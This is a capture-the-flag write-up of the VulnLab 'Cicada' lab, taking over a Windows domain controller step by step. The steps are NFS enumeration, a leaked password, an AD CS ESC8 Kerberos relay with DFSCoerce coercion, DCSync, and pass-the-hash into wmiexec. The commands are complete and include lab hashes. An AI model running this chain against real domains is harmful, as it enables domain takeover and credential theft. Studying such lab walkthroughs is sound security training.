Post

VulnLab -- Cicada Writeup

Cicada

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Cicada machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 389,9389,53,445,49667,49671,59847,3269,139,80,2049,5985,49678,49664,593,59873,59811,464 --min-rate=1000 10.10.88.205

image.png

Now let’s enumerate the NFS

1
showmount -e 10.10.88.205

image.png

Notice that we have a profiles mount

Now let’s go and mount it

1
sudo mount -t nfs 10.10.88.205:/profiles Mount

image.png

now let’s see what is in the mount directory

1
tree .

image.png

Now let’s open the marketing cicada from the user directory

1
eog marketing.png

image.png

Notice that the cicada contains a password username: Rosie.Powell password: Cicada123

Now let’s go and try it

1
nxc smb bruno.vl -u 'Rosie.Powell' -p 'Cicada123'

image.png

Notice that it say STATUS_NOT_SUPPORTED which mean that the NTLM authentication is disabled

So let’s try again with the Kerberos auth

1
nxc smb cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k

image.png

and we are authenticated

So let’s go and enumerate the certificate service

First let’s get a TGT for the user Rosie

1
impacket-getTGT cicada.vl/Rosie.Powell:'Cicada123' -dc-ip 10.10.88.205

image.png

Now let’s export the TGT

1
export KRB5CCNAME=Rosie.Powell.ccache

image.png

Now let’s find the CA Templates

1
certipy-ad find -k -no-pass -debug -dc-ip dc-jpq225.cicada.vl -ns 10.10.88.205

image.png

Now let’s go and get the output

1
cat 20250330050004_Certipy.txt | grep -i ESC8 -b50

image.png

Notice that there is a template that is vulnerable to ESC8 which will help us relaying the Web remotely

Now let’s start KRB Relay

1
python3 krbrelayx.py -t http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -debug

image.png

Now let’s create a domain joined machine

1
bloodyAD -u 'rosie.powell' -p 'Cicada123' --host dc-jpq225.cicada.vl -k -d 'cicada.vl' add dnsRecord 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.8.5.233

image.png

Now let’s relay

1
python3 dfscoerce.py -k -no-pass -dc-ip dc-jpq225.cicada.vl 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc-jpq225.cicada.vl

image.png

Now let’s go back and check if we go anything

image.png

And we did so let’s go and try to authenticate to get the machine hash

1
certipy-ad auth -pfx 'unknown3732$.pfx' -dc-ip 10.10.88.205

image.png

Now let’s go to perform DCSync and retrieve all the hashes

First let’s get a TGT for the Machine Account

1
impacket-getTGT cicada.vl/'dc-jpq225$':'' -dc-ip 10.10.88.205 -hashes :9323a945f6606ac6b44263f00218cfab

image.png

Now let’s export it

1
export KRB5CCNAME=dc-jpq225$.ccache

image.png

Now let’s DCSync

1
impacket-secretsdump -k -no-pass dc-jpq225.cicada.vl

image.png

Now let’s request a ticket for the administrator

1
impacket-getTGT cicada.vl/administrator:'' -dc-ip 10.10.88.205 -hashes :85a0da53871a9d56b6cd05deda3a5e87

image.png

now let’s export his ticket

1
export KRB5CCNAME=administrator.ccache

image.png

Now let’s try to wmi to the machine

1
impacket-wmiexec -k -no-pass dc-jpq225.cicada.vl

image.png

Now let’s go to the administrator desktop and see the root flag

1
cd c:\users\administrator\desktop

image.png

Amazing we got the root flag 🥳

image.png

That’s it for the Cicada machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.